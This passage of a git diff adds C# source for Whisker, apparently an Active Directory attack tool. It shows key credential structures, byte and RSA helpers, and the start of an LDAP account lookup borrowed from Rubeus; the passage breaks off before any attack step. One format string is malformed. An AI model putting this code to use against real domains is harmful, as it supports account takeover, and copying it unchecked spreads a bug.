KeySource source, KeyCredentialVersion version) + { + long timeStamp; + switch (version) + { + case KeyCredentialVersion.Version0: + timeStamp = time.Ticks; + break; + case KeyCredentialVersion.Version1: + timeStamp = time.ToBinary(); + break; + case KeyCredentialVersion.Version2: + default: + timeStamp = source == KeySource.AD ? time.ToFileTime() : time.ToBinary(); + break; + } + + return BitConverter.GetBytes(timeStamp); + } + + private static byte[] ComputeHash(byte[] data) + { + using (var sha256 = new SHA256Managed()) + { + return sha256.ComputeHash(data); + } + } + + private static string ComputeKeyIdentifier(byte[] keyMaterial, KeyCredentialVersion version) + { + byte[] binaryId = ComputeHash(keyMaterial); + return ConvertFromBinaryIdentifier(binaryId, version); + } + + private static string ConvertFromBinaryIdentifier(byte[] binaryId, KeyCredentialVersion version) + { + switch (version) + { + case KeyCredentialVersion.Version0: + case KeyCredentialVersion.Version1: + return binaryId.ToHex(true); + case KeyCredentialVersion.Version2: + default: + return Convert.ToBase64String(binaryId); + } + } + + private static byte[] ConvertToBinaryIdentifier(string keyIdentifier, KeyCredentialVersion version) + { + switch (version) + { + case KeyCredentialVersion.Version0: + case KeyCredentialVersion.Version1: + return keyIdentifier.HexToBinary(); + case KeyCredentialVersion.Version2: + default: + return Convert.FromBase64String(keyIdentifier); + } + } + } +} diff --git a/repos/Whisker/Whisker/DSInternals.Common/Data/Hello/KeyCredentialEntryType.cs b/repos/Whisker/Whisker/DSInternals.Common/Data/Hello/KeyCredentialEntryType.cs new file mode 100644 index 000000000..95b6a1833 --- /dev/null +++ b/repos/Whisker/Whisker/DSInternals.Common/Data/Hello/KeyCredentialEntryType.cs @@ -0,0 +1,55 @@ +namespace DSInternals.Common.Data +{ + /// + /// Key Credential Link Entry Identifier + /// + /// Describes the data stored in the Value field. + /// https://msdn.microsoft.com/en-us/library/mt220499.aspx + public enum KeyCredentialEntryType : byte + { + /// + /// A SHA256 hash of the Value field of the KeyMaterial entry. + /// + KeyID = 0x01, + + /// + /// A SHA256 hash of all entries following this entry. + /// + KeyHash = 0x02, + + /// + /// Key material of the credential. + /// + KeyMaterial = 0x03, + + /// + /// Key Usage + /// + KeyUsage = 0x04, + + /// + /// Key Source + /// + KeySource = 0x05, + + /// + /// Device Identifier + /// + DeviceId = 0x06, + + /// + /// Custom key information. + /// + CustomKeyInformation = 0x07, + + /// + /// The approximate time this key was last used, in FILETIME format. + /// + KeyApproximateLastLogonTimeStamp = 0x08, + + /// + /// The approximate time this key was created, in FILETIME format. + /// + KeyCreationTime = 0x09 + } +} diff --git a/repos/Whisker/Whisker/DSInternals.Common/Data/Hello/KeyCredentialVersion.cs b/repos/Whisker/Whisker/DSInternals.Common/Data/Hello/KeyCredentialVersion.cs new file mode 100644 index 000000000..27e2c13a3 --- /dev/null +++ b/repos/Whisker/Whisker/DSInternals.Common/Data/Hello/KeyCredentialVersion.cs @@ -0,0 +1,13 @@ +namespace DSInternals.Common.Data +{ + /// + /// Key Credential Link Blob Structure Version + /// + /// https://msdn.microsoft.com/en-us/library/mt220501.aspx + public enum KeyCredentialVersion : uint + { + Version0 = 0, + Version1 = 0x00000100, + Version2 = 0x00000200, + } +} \ No newline at end of file diff --git a/repos/Whisker/Whisker/DSInternals.Common/Data/Hello/KeyFlags.cs b/repos/Whisker/Whisker/DSInternals.Common/Data/Hello/KeyFlags.cs new file mode 100644 index 000000000..ff7556658 --- /dev/null +++ b/repos/Whisker/Whisker/DSInternals.Common/Data/Hello/KeyFlags.cs @@ -0,0 +1,27 @@ +using System; + +namespace DSInternals.Common.Data +{ + /// + /// Custom Key Flags + /// + /// https://msdn.microsoft.com/en-us/library/mt220496.aspx + [Flags] + public enum KeyFlags : byte + { + /// + /// No flags specified. + /// + None = 0, + + /// + /// Reserved for future use. (CUSTOMKEYINFO_FLAGS_ATTESTATION) + /// + Attestation = 0x01, + + /// + /// During creation of this key, the requesting client authenticated using only a single credential. (CUSTOMKEYINFO_FLAGS_MFA_NOT_USED) + /// + MFANotUsed = 0x02, + } +} diff --git a/repos/Whisker/Whisker/DSInternals.Common/Data/Hello/KeySource.cs b/repos/Whisker/Whisker/DSInternals.Common/Data/Hello/KeySource.cs new file mode 100644 index 000000000..a9c2f9258 --- /dev/null +++ b/repos/Whisker/Whisker/DSInternals.Common/Data/Hello/KeySource.cs @@ -0,0 +1,19 @@ +namespace DSInternals.Common.Data +{ + /// + /// Key Source + /// + /// https://msdn.microsoft.com/en-us/library/mt220501.aspx + public enum KeySource : byte + { + /// + /// On Premises Key Trust + /// + AD = 0x00, + + /// + /// Hybrid Azure AD Key Trust + /// + AzureAD = 0x01 + } +} diff --git a/repos/Whisker/Whisker/DSInternals.Common/Data/Hello/KeyStrength.cs b/repos/Whisker/Whisker/DSInternals.Common/Data/Hello/KeyStrength.cs new file mode 100644 index 000000000..0b3ff1038 --- /dev/null +++ b/repos/Whisker/Whisker/DSInternals.Common/Data/Hello/KeyStrength.cs @@ -0,0 +1,24 @@ +namespace DSInternals.Common.Data +{ + /// + /// Specifies the strength of the NGC key. + /// + /// https://msdn.microsoft.com/en-us/library/mt220496.aspx + public enum KeyStrength : byte + { + /// + /// Key strength is unknown. + /// + Unknown = 0x00, + + /// + /// Key strength is weak. + /// + Weak = 0x01, + + /// + /// Key strength is normal. + /// + Normal = 0x02 + } +} \ No newline at end of file diff --git a/repos/Whisker/Whisker/DSInternals.Common/Data/Hello/KeyUsage.cs b/repos/Whisker/Whisker/DSInternals.Common/Data/Hello/KeyUsage.cs new file mode 100644 index 000000000..28b07dd7f --- /dev/null +++ b/repos/Whisker/Whisker/DSInternals.Common/Data/Hello/KeyUsage.cs @@ -0,0 +1,47 @@ +namespace DSInternals.Common.Data +{ + /// + /// Key Usage + /// + /// https://msdn.microsoft.com/en-us/library/mt220501.aspx + public enum KeyUsage : byte + { + // Admin key (pin-reset key) + AdminKey = 0, + + /// + /// NGC key attached to a user object (KEY_USAGE_NGC) + /// + NGC = 0x01, + + /// + /// Transport key attached to a device object + /// + STK = 0x02, + + /// + /// BitLocker recovery key + /// + BitlockerRecovery = 0x03, + + /// + /// Unrecognized key usage + /// + Other = 0x04, + + /// + /// Fast IDentity Online Key (KEY_USAGE_FIDO) + /// + FIDO = 0x07, + + /// + /// File Encryption Key (KEY_USAGE_FEK) + /// + FEK = 0x08, + + /// + /// DPAPI Key + /// + DPAPI // TODO: The DPAPI enum needs to be mapped to a proper integer value. + } +} diff --git a/repos/Whisker/Whisker/DSInternals.Common/Data/Hello/VolumeType.cs b/repos/Whisker/Whisker/DSInternals.Common/Data/Hello/VolumeType.cs new file mode 100644 index 000000000..57e6a7dfb --- /dev/null +++ b/repos/Whisker/Whisker/DSInternals.Common/Data/Hello/VolumeType.cs @@ -0,0 +1,29 @@ +namespace DSInternals.Common.Data +{ + /// + /// Specifies the volume type. + /// + /// https://msdn.microsoft.com/en-us/library/mt220496.aspx + public enum VolumeType : byte + { + /// + /// Volume not specified. + /// + None = 0x00, + + /// + /// Operating system volume (OSV). + /// + OperatingSystem = 0x01, + + /// + /// Fixed data volume (FDV). + /// + Fixed = 0x02, + + /// + /// Removable data volume (RDV). + /// + Removable = 0x03 + } +} diff --git a/repos/Whisker/Whisker/DSInternals.Common/Extensions/ByteArrayExtensions.cs b/repos/Whisker/Whisker/DSInternals.Common/Extensions/ByteArrayExtensions.cs new file mode 100644 index 000000000..ea5074a21 --- /dev/null +++ b/repos/Whisker/Whisker/DSInternals.Common/Extensions/ByteArrayExtensions.cs @@ -0,0 +1,236 @@ +namespace DSInternals.Common +{ + using System; + using System.IO; + using System.Security; + using System.Security.Principal; + using System.Text; + using DSInternals.Common.Properties; + + public static class ByteArrayExtensions + { + private const string HexDigitsUpper = "0123456789ABCDEF"; + private const string HexDigitsLower = "0123456789abcdef"; + + public static void ZeroFill(this byte[] array) + { + Array.Clear(array, 0, array.Length); + } + + public static byte[] HexToBinary(this string hex, int startIndex, int length) + { + // Input validation + Validator.AssertNotNull(hex, nameof(hex)); + + if (length % 2 != 0) + { + // Each byte in a HEX string must be encoded using 2 characters. + var exception = new ArgumentException(Resources.NotHexStringMessage, nameof(hex)); + exception.Data.Add("Value", hex); + throw exception; + } + + if(startIndex < 0 || startIndex >= hex.Length ) + { + throw new ArgumentOutOfRangeException(nameof(startIndex)); + } + + if (length < 0 || startIndex + length > hex.Length) + { + throw new ArgumentOutOfRangeException(nameof(length)); + } + + // Prepare the result + byte[] bytes = new byte[length / 2]; + + // Perform the conversion + for (int nibbleIndex = 0, byteIndex = 0; nibbleIndex < length; byteIndex = ++nibbleIndex / 2) + { + char nibble = hex[startIndex + nibbleIndex]; + + if ('0' <= nibble && nibble <= '9') + { + bytes[byteIndex] = (byte)((bytes[byteIndex] << 4) | (nibble - '0')); + } + else if ('a' <= nibble && nibble <= 'f') + { + bytes[byteIndex] = (byte)((bytes[byteIndex] << 4) | (nibble - 'a' + 0xA)); + } + else if ('A' <= nibble && nibble <= 'F') + { + bytes[byteIndex] = (byte)((bytes[byteIndex] << 4) | (nibble - 'A' + 0xA)); + } + else + { + // Invalid digit + var exception = new ArgumentException(Resources.NotHexStringMessage, nameof(hex)); + exception.Data.Add("Value", hex); + throw exception; + } + } + + return bytes; + } + + public static byte[] HexToBinary(this string hex) + { + // Trivial case + if (String.IsNullOrEmpty(hex)) + { + return null; + } + + return hex.HexToBinary(0, hex.Length); + } + + public static string ToHex(this byte[] bytes, bool caps = false) + { + if (bytes == null) + { + return null; + } + + string hexDigits = caps ? HexDigitsUpper : HexDigitsLower; + + StringBuilder hex = new StringBuilder(bytes.Length * 2); + foreach(byte currentByte in bytes) + { + hex.Append(hexDigits[(int)(currentByte >> 4)]); + hex.Append(hexDigits[(int)(currentByte & 0xF)]); + } + + return hex.ToString(); + } + + public static SecureString ReadSecureWString(this byte[] buffer, int startIndex) + { + Validator.AssertNotNull(buffer, nameof(buffer)); + // TODO: Assert startIndex > 0 + int maxLength = buffer.Length - startIndex; + + // Prepare an empty SecureString that will eventually be returned + var result = new SecureString(); + + for (int i = startIndex; i < buffer.Length; i += UnicodeEncoding.CharSize) + { + // Convert the next 2 bytes from the byte array into a unicode character + char c = BitConverter.ToChar(buffer, i); + + if (c == Char.MinValue) + { + // End of string has been reached + return result; + } + + result.AppendChar(c); + } + + // If we reached this point, the \0 char has not been found, so throw an exception. + // TODO: Add a reasonable exception message + throw new ArgumentException(); + } + + public static void SwapBytes(this byte[] bytes, int index1, int index2) + { + byte temp = bytes[index1]; + bytes[index1] = bytes[index2]; + bytes[index2] = temp; + } + + /// + /// Encodes an integer into a 4-byte array, in big endian. + /// + /// The integer to encode. + /// Array of bytes, in big endian order. + public static byte[] GetBigEndianBytes(this uint number) + { + byte[] bytes = BitConverter.GetBytes(number); + if (BitConverter.IsLittleEndian) + { + Array.Reverse(bytes); + } + return bytes; + } + + public static uint ToUInt32BigEndian(this byte[] bytes, int startIndex = 0) + { + if(BitConverter.IsLittleEndian) + { + Array.Reverse(bytes); + } + + return BitConverter.ToUInt32(bytes, startIndex); + } + + public static ushort ToUInt16BigEndian(this byte[] bytes, int startIndex = 0) + { + if (BitConverter.IsLittleEndian) + { + Array.Reverse(bytes); + } + + return BitConverter.ToUInt16(bytes, startIndex); + } + + public static Guid ToGuidBigEndian(this byte[] bytes) + { + if (BitConverter.IsLittleEndian) + { + bytes.SwapBytes(0, 3); + bytes.SwapBytes(1, 2); + bytes.SwapBytes(4, 5); + bytes.SwapBytes(6, 7); + } + + return new Guid(bytes); + } + + public static SecurityIdentifier ToSecurityIdentifier(this byte[] binarySid, bool bigEndianRid = false) + { + if(binarySid == null) + { + return null; + } + byte[] output = binarySid; + if (bigEndianRid) + { + // Clone the binary SID so we do not perform byte spapping on the original value. + byte[] binarySidCopy = (byte[])binarySid.Clone(); + int lastByteIndex = binarySidCopy.Length -1; + // Convert RID from big endian to little endian (Reverse the order of the last 4 bytes) + binarySidCopy.SwapBytes(lastByteIndex - 3, lastByteIndex); + binarySidCopy.SwapBytes(lastByteIndex - 2, lastByteIndex - 1); + output = binarySidCopy; + } + return new SecurityIdentifier(output, 0); + } + + public static byte[] Cut(this byte[] blob, int offset) + { + Validator.AssertNotNull(blob, "blob"); + return blob.Cut(offset, blob.Length - offset); + } + + public static byte[] Cut(this byte[] blob, int offset, int count) + { + Validator.AssertNotNull(blob, "blob"); + Validator.AssertMinLength(blob, offset + count, "blob"); + // TODO: Check that offset and count are positive using Validator + byte[] result = new byte[count]; + Buffer.BlockCopy((Array)blob, offset, (Array)result, 0, count); + return result; + } + + public static byte[] ReadToEnd(this MemoryStream stream) + { + long remainingBytes = stream.Length - stream.Position; + if(remainingBytes > int.MaxValue) + { + throw new ArgumentOutOfRangeException("stream"); + } + byte[] buffer = new byte[remainingBytes]; + stream.Read(buffer, 0, (int)remainingBytes); + return buffer; + } + } +} diff --git a/repos/Whisker/Whisker/DSInternals.Common/Extensions/RSAExtensions.cs b/repos/Whisker/Whisker/DSInternals.Common/Extensions/RSAExtensions.cs new file mode 100644 index 000000000..e9114112d --- /dev/null +++ b/repos/Whisker/Whisker/DSInternals.Common/Extensions/RSAExtensions.cs @@ -0,0 +1,138 @@ +using System; +using System.Linq; +using System.Numerics; +using System.Security.Cryptography; +using System.Security.Cryptography.X509Certificates; + +namespace DSInternals.Common +{ + public static class RSAExtensions + { + private const int BCryptKeyBlobHeaderSize = 6 * sizeof(uint); + private const uint BCryptRSAPublicKeyMagic = 0x31415352; // "RSA1" in ASCII + private const int TPM20KeyBlobHeaderSize = 4 * sizeof(int) + 9 * sizeof(uint); + private const uint TPM20PublicKeyMagic = 0x4d504350; // "MPCP" in ASCII + private const byte DERSequenceTag = 0x30; + private const int DERPublicKeyMinSize = 260; // At least 2K RSA modulus + 3B public exponent + 1B sequence tag + + /// + /// OID 1.2.840.113549.1.1.1 - Identifier for RSA encryption for use with Public Key Cryptosystem One defined by RSA Inc. + /// + private static readonly Oid RsaOid = Oid.FromFriendlyName("RSA", OidGroup.PublicKeyAlgorithm); + + /// + /// ASN.1 Tag NULL + /// + private static readonly AsnEncodedData Asn1Null = new AsnEncodedData(new byte[] { 5, 0 }); + + /// + /// BCRYPT_PUBLIC_KEY_BLOB Format + /// + private static readonly CngKeyBlobFormat BCryptRSAPublicKeyFormat = new CngKeyBlobFormat("RSAPUBLICBLOB"); + + + /// + /// Converts a RSA public key to BCRYPT_RSAKEY_BLOB. + /// + public static byte[] ExportRSAPublicKeyBCrypt(this X509Certificate2 certificate) + { + Validator.AssertNotNull(certificate, nameof(certificate)); + + using (var rsa = (RSACng)certificate.GetRSAPublicKey()) + { + using(var key = rsa.Key) + { + return key.Export(BCryptRSAPublicKeyFormat); + } + } + } + + /// + /// Decodes a public key from a BCRYPT_RSAKEY_BLOB structure. + /// + public static RSAParameters ImportRSAPublicKeyBCrypt(this byte[] blob) + { + Validator.AssertNotNull(blob, nameof(blob)); + + using (var key = CngKey.Import(blob, BCryptRSAPublicKeyFormat)) + { + using (var rsa = new RSACng(key)) + { + return rsa.ExportParameters(false); + } + } + } + + /// + /// Exports a RSA public key to the DER format. + /// + public static byte[] ExportRSAPublicKeyDER(this X509Certificate2 certificate) + { + Validator.AssertNotNull(certificate, nameof(certificate)); + + return certificate.PublicKey.EncodedKeyValue.RawData; + } + + /// + /// Decodes a DER RSA public key. + /// + public static RSAParameters ImportRSAPublicKeyDER(this byte[] blob) + { + Validator.AssertNotNull(blob, nameof(blob)); + + var asn1Key = new AsnEncodedData(blob); + var publicKey = new PublicKey(RsaOid, Asn1Null, asn1Key); + using (var rsaKey = (RSACryptoServiceProvider)publicKey.Key) + { + return rsaKey.ExportParameters(false); + } + } + + /// + /// Checks whether the input blob is in the BCRYPT_RSAKEY_BLOB format. + /// + public static bool IsBCryptRSAPublicKeyBlob(this byte[] blob) + { + if (blob == null || blob.Length < BCryptKeyBlobHeaderSize) + { + return false; + } + + // Check if the byte sequence starts with the magic + return BitConverter.ToUInt32(blob, 0) == BCryptRSAPublicKeyMagic; + } + + /// + /// Checks whether the input blob is in the PCP_KEY_BLOB_WIN8 format. + /// + public static bool IsTPM20PublicKeyBlob(this byte[] blob) + { + if (blob == null || blob.Length < TPM20KeyBlobHeaderSize) + { + return false; + } + + // Check if the byte sequence starts with the magic + return BitConverter.ToUInt32(blob, 0) == TPM20PublicKeyMagic; + } + + /// + /// Checks whether the input blob is a DER-encoded public key. + /// + public static bool IsDERPublicKeyBlob(this byte[] blob) + { + if (blob == null || blob.Length < DERPublicKeyMinSize) + { + return false; + } + + // Check if the byte sequence starts with a DER sequence tag. This is a very vague test. + return blob[0] == DERSequenceTag; + } + + public static bool IsWeakKey(this RSAParameters publicKey) + { + return false; + } + } +} diff --git a/repos/Whisker/Whisker/DSInternals.Common/Properties/Resources.Designer.cs b/repos/Whisker/Whisker/DSInternals.Common/Properties/Resources.Designer.cs new file mode 100644 index 000000000..91978e782 --- /dev/null +++ b/repos/Whisker/Whisker/DSInternals.Common/Properties/Resources.Designer.cs @@ -0,0 +1,225 @@ +//------------------------------------------------------------------------------ +// +// This code was generated by a tool. +// Runtime Version:4.0.30319.42000 +// +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. +// +//------------------------------------------------------------------------------ + +namespace DSInternals.Common.Properties { + using System; + + + /// + /// A strongly-typed resource class, for looking up localized strings, etc. + /// + // This class was auto-generated by the StronglyTypedResourceBuilder + // class via a tool like ResGen or Visual Studio. + // To add or remove a member, edit your .ResX file then rerun ResGen + // with the /str option, or rebuild your VS project. + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "16.0.0.0")] + [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] + [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] + public class Resources { + + private static global::System.Resources.ResourceManager resourceMan; + + private static global::System.Globalization.CultureInfo resourceCulture; + + [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] + internal Resources() { + } + + /// + /// Returns the cached ResourceManager instance used by this class. + /// + [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] + public static global::System.Resources.ResourceManager ResourceManager { + get { + if (object.ReferenceEquals(resourceMan, null)) { + global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("DSInternals.Common.Properties.Resources", typeof(Resources).Assembly); + resourceMan = temp; + } + return resourceMan; + } + } + + /// + /// Overrides the current thread's CurrentUICulture property for all + /// resource lookups using this strongly typed resource class. + /// + [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] + public static global::System.Globalization.CultureInfo Culture { + get { + return resourceCulture; + } + set { + resourceCulture = value; + } + } + + /// + /// Looks up a localized string similar to Directory schema does not contain attribute '{0}'.. + /// + public static string AttributeNotFoundMessageFormat { + get { + return ResourceManager.GetString("AttributeNotFoundMessageFormat", resourceCulture); + } + } + + /// + /// Looks up a localized string similar to Error parsing distinguished name.. + /// + public static string DNParsingErrorMessage { + get { + return ResourceManager.GetString("DNParsingErrorMessage", resourceCulture); + } + } + + /// + /// Looks up a localized string similar to The input is longer than the maximum length.. + /// + public static string InputLongerThanMaxMessage { + get { + return ResourceManager.GetString("InputLongerThanMaxMessage", resourceCulture); + } + } + + /// + /// Looks up a localized string similar to The input is shorter than the minimum length.. + /// + public static string InputShorterThanMinMessage { + get { + return ResourceManager.GetString("InputShorterThanMinMessage", resourceCulture); + } + } + + /// + /// Looks up a localized string similar to CRC check failed.. + /// + public static string InvalidCRCMessage { + get { + return ResourceManager.GetString("InvalidCRCMessage", resourceCulture); + } + } + + /// + /// Looks up a localized string similar to Parameter is not in the DN-Binary format.. + /// + public static string NotDNWithBinaryMessage { + get { + return ResourceManager.GetString("NotDNWithBinaryMessage", resourceCulture); + } + } + + /// + /// Looks up a localized string similar to Parameter is not a hexadecimal string.. + /// + public static string NotHexStringMessage { + get { + return ResourceManager.GetString("NotHexStringMessage", resourceCulture); + } + } + + /// + /// Looks up a localized string similar to Object is not an account.. + /// + public static string ObjectNotAccountMessage { + get { + return ResourceManager.GetString("ObjectNotAccountMessage", resourceCulture); + } + } + + /// + /// Looks up a localized string similar to Could not find the requested object.. + /// + public static string ObjectNotFoundMessage { + get { + return ResourceManager.GetString("ObjectNotFoundMessage", resourceCulture); + } + } + + /// + /// Looks up a localized string similar to Object is not a security principal.. + /// + public static string ObjectNotSecurityPrincipalMessage { + get { + return ResourceManager.GetString("ObjectNotSecurityPrincipalMessage", resourceCulture); + } + } + + /// + /// Looks up a localized string similar to Object with identity '{0}' has not been found.. + /// + public static string ObjectWithIdentityNotFoundMessageFormat { + get { + return ResourceManager.GetString("ObjectWithIdentityNotFoundMessageFormat", resourceCulture); + } + } + + /// + /// Looks up a localized string similar to {0} (Object identity: '{1}'). + /// + public static string OperationExceptionMessageFormat { + get { + return ResourceManager.GetString("OperationExceptionMessageFormat", resourceCulture); + } + } + + /// + /// Looks up a localized string similar to Path not found.. + /// + public static string PathNotFoundMessage { + get { + return ResourceManager.GetString("PathNotFoundMessage", resourceCulture); + } + } + + /// + /// Looks up a localized string similar to The length of the input is unexpected.. + /// + public static string UnexpectedLengthMessage { + get { + return ResourceManager.GetString("UnexpectedLengthMessage", resourceCulture); + } + } + + /// + /// Looks up a localized string similar to Unexpected length of the supplemental credentials structure.. + /// + public static string UnexpectedSupplementalCredsLengthMessage { + get { + return ResourceManager.GetString("UnexpectedSupplementalCredsLengthMessage", resourceCulture); + } + } + + /// + /// Looks up a localized string similar to Supplemental credentials do not have a valid signature.. + /// + public static string UnexpectedSupplementalCredsSignatureMessage { + get { + return ResourceManager.GetString("UnexpectedSupplementalCredsSignatureMessage", resourceCulture); + } + } + + /// + /// Looks up a localized string similar to The input contains an unexpected value '{0}', while the expected value is '{1}'.. + /// + public static string UnexpectedValueMessage { + get { + return ResourceManager.GetString("UnexpectedValueMessage", resourceCulture); + } + } + + /// + /// Looks up a localized string similar to Unsupported secret encryption algorithm.. + /// + public static string UnsupportedSecretEncryptionType { + get { + return ResourceManager.GetString("UnsupportedSecretEncryptionType", resourceCulture); + } + } + } +} diff --git a/repos/Whisker/Whisker/DSInternals.Common/Properties/Resources.resx b/repos/Whisker/Whisker/DSInternals.Common/Properties/Resources.resx new file mode 100644 index 000000000..eaaf1663c --- /dev/null +++ b/repos/Whisker/Whisker/DSInternals.Common/Properties/Resources.resx @@ -0,0 +1,174 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + Directory schema does not contain attribute '{0}'. + + + Error parsing distinguished name. + + + The input is longer than the maximum length. + + + The input is shorter than the minimum length. + + + CRC check failed. + + + Parameter is not in the DN-Binary format. + + + Parameter is not a hexadecimal string. + + + Object is not an account. + + + Could not find the requested object. + + + Object is not a security principal. + + + Object with identity '{0}' has not been found. + + + {0} (Object identity: '{1}') + + + Path not found. + + + The length of the input is unexpected. + + + Unexpected length of the supplemental credentials structure. + + + Supplemental credentials do not have a valid signature. + + + The input contains an unexpected value '{0}', while the expected value is '{1}'. + + + Unsupported secret encryption algorithm. + + \ No newline at end of file diff --git a/repos/Whisker/Whisker/DSInternals.Common/Validator.cs b/repos/Whisker/Whisker/DSInternals.Common/Validator.cs new file mode 100644 index 000000000..d41aff48d --- /dev/null +++ b/repos/Whisker/Whisker/DSInternals.Common/Validator.cs @@ -0,0 +1,117 @@ +using System; +using System.IO; +using System.Security; +using DSInternals.Common.Properties; + +namespace DSInternals.Common +{ + public static class Validator + { + public static void AssertEquals(string expectedValue, string actualValue, string paramName) + { + if(!String.Equals(expectedValue, actualValue, StringComparison.InvariantCulture)) + { + string message = String.Format(Resources.UnexpectedValueMessage, actualValue, expectedValue); + throw new ArgumentException(message, paramName); + } + } + + public static void AssertEquals(char expectedValue, char actualValue, string paramName) + { + if (expectedValue.CompareTo(actualValue) != 0) + { + string message = String.Format(Resources.UnexpectedValueMessage, actualValue, expectedValue); + throw new ArgumentException(message, paramName); + } + } + + public static void AssertNotNull(object value, string paramName) + { + if(value == null) + { + throw new ArgumentNullException(paramName); + } + } + + public static void AssertNotNullOrEmpty(string value, string paramName) + { + if (String.IsNullOrEmpty(value)) + { + throw new ArgumentNullException(paramName); + } + } + + public static void AssertNotNullOrWhiteSpace(string value, string paramName) + { + if(string.IsNullOrWhiteSpace(value)) + { + throw new ArgumentNullException(paramName); + } + } + + public static void AssertLength(string value, int length, string paramName) + { + AssertNotNull(value, paramName); + if(value.Length != length) + { + throw new ArgumentOutOfRangeException(paramName, value.Length, Resources.UnexpectedLengthMessage); + } + } + + public static void AssertMaxLength(SecureString password, int maxLength, string paramName) + { + AssertNotNull(password, paramName); + if (password.Length > maxLength) + { + throw new ArgumentOutOfRangeException(paramName, password.Length, Resources.InputLongerThanMaxMessage); + } + } + + public static void AssertMaxLength(string input, int maxLength, string paramName) + { + AssertNotNull(input, paramName); + if (input.Length > maxLength) + { + throw new ArgumentOutOfRangeException(paramName, input.Length, Resources.InputLongerThanMaxMessage); + } + } + + public static void AssertMinLength(byte[] data, int minLength, string paramName) + { + AssertNotNull(data, paramName); + if (data.Length < minLength) + { + var exception = new ArgumentOutOfRangeException(paramName, data.Length, Resources.InputShorterThanMinMessage); + // DEBUG: exception.Data.Add("BinaryBlob", data.ToHex()); + throw exception; + } + } + + public static void AssertLength(byte[] value, long length, string paramName) + { + AssertNotNull(value, paramName); + if (value.Length != length) + { + throw new ArgumentOutOfRangeException(paramName, value.Length, Resources.UnexpectedLengthMessage); + } + } + + public static void AssertFileExists(string filePath) + { + bool exists = File.Exists(filePath); + if(!exists) + { + throw new FileNotFoundException(Resources.PathNotFoundMessage, filePath); + } + } + + public static void AssertDirectoryExists(string directoryPath) + { + bool exists = Directory.Exists(directoryPath); + if (!exists) + { + throw new DirectoryNotFoundException(Resources.PathNotFoundMessage); + } + } + } +} diff --git a/repos/Whisker/Whisker/Program.cs b/repos/Whisker/Whisker/Program.cs new file mode 100644 index 000000000..cbe2c28a4 --- /dev/null +++ b/repos/Whisker/Whisker/Program.cs @@ -0,0 +1,563 @@ +using System; +using System.IO; +using System.Security.Cryptography; +using System.Security.Cryptography.X509Certificates; +using DSInternals.Common.Data; +using System.DirectoryServices; +using System.DirectoryServices.ActiveDirectory; +using System.Collections.Generic; +using System.Reflection; + +namespace Whisker +{ + public class Program + { + //Code taken from Rubeus + private static DirectoryEntry GetLdapSearchRoot(string OUName, string domainController, string domain) + { + DirectoryEntry directoryObject = null; + string ldapPrefix = ""; + string ldapOu = ""; + + //If we have a DC then use that instead of the domain name so that this works if user doesn't have + //name resolution working but specified the IP of a DC + if (!String.IsNullOrEmpty(domainController)) + { + ldapPrefix = domainController; + } + else if (!String.IsNullOrEmpty(domain)) //If we don't have a DC then use the domain name (if we have one) + { + ldapPrefix = domain; + } + + if (!String.IsNullOrEmpty(OUName)) + { + ldapOu = OUName.Replace("ldap", "LDAP").Replace("LDAP://", ""); + } + else if (!String.IsNullOrEmpty(domain)) + { + ldapOu = String.Format("DC={0}", domain.Replace(".", ",DC=")); + } + + //If no DC, domain, credentials, or OU were specified + if (String.IsNullOrEmpty(ldapPrefix) && String.IsNullOrEmpty(ldapOu)) + { + directoryObject = new DirectoryEntry(); + } + else //If we have a prefix (DC or domain), an OU path, or both + { + string bindPath = ""; + if (!String.IsNullOrEmpty(ldapPrefix)) + { + bindPath = String.Format("LDAP://{0}", ldapPrefix); + } + if (!String.IsNullOrEmpty(ldapOu)) + { + if (!String.IsNullOrEmpty(bindPath)) + { + bindPath = String.Format("{0}/{1}", bindPath, ldapOu); + } + else + { + bindPath = String.Format("LDAP://{1]", ldapOu); + } + } + + directoryObject = new DirectoryEntry(bindPath); + } + + if (directoryObject != null) + { + directoryObject.AuthenticationType = AuthenticationTypes.Secure | AuthenticationTypes.Sealing | AuthenticationTypes.Signing; + } + + return directoryObject; + } + + //Code taken from Rubeus + private static DirectoryEntry LocateAccount(string username, string domain, string domainController) + { + DirectoryEntry directoryObject = null; + DirectorySearcher userSearcher = null; + + try + { + directoryObject = GetLdapSearchRoot("", domainController, domain); + userSearcher = new DirectorySearcher(directoryObject); + userSearcher.PageSize = 1; + } + catch (Exception ex) + { + if (ex.InnerException != null) + { + Console.WriteLine("\r\n[X] Error creating the domain searcher: {0}", ex.InnerException.Message); + } + else + { + Console.WriteLine("\r\n[X] Error creating the domain searcher: {0}", ex.Message); + } + return null; + } + + // check to ensure that the bind worked correctly + try + { + string dirPath = directoryObject.Path; + Console.WriteLine("[*] Searching for the target account"); + } + catch (DirectoryServicesCOMException ex) + { + Console.WriteLine("\r\n[X] Error validating the domain searcher: {0}", ex.Message); + return null; + } + + try + { + string userSearchFilter = String.Format("(samAccountName={0})", username); + userSearcher.Filter = userSearchFilter; + } + catch (Exception ex) + { + Console.WriteLine("\r\n[X] Error settings the domain searcher filter: {0}", ex.InnerException.Message); + return null; + } + + try + { + SearchResult user = userSearcher.FindOne(); + + if (user == null) + { + Console.WriteLine("[!] Target user not found"); + } + + string distinguishedName = user.Properties["distinguishedName"][0].ToString(); + Console.WriteLine("[*] Target user found: {0}", distinguishedName); + + return user.GetDirectoryEntry(); + + } + catch (Exception ex) + { + if (ex.InnerException != null) + { + Console.WriteLine("\r\n[X] Error executing the domain searcher: {0}", ex.InnerException.Message); + } + else + { + Console.WriteLine("\r\n[X] Error executing the 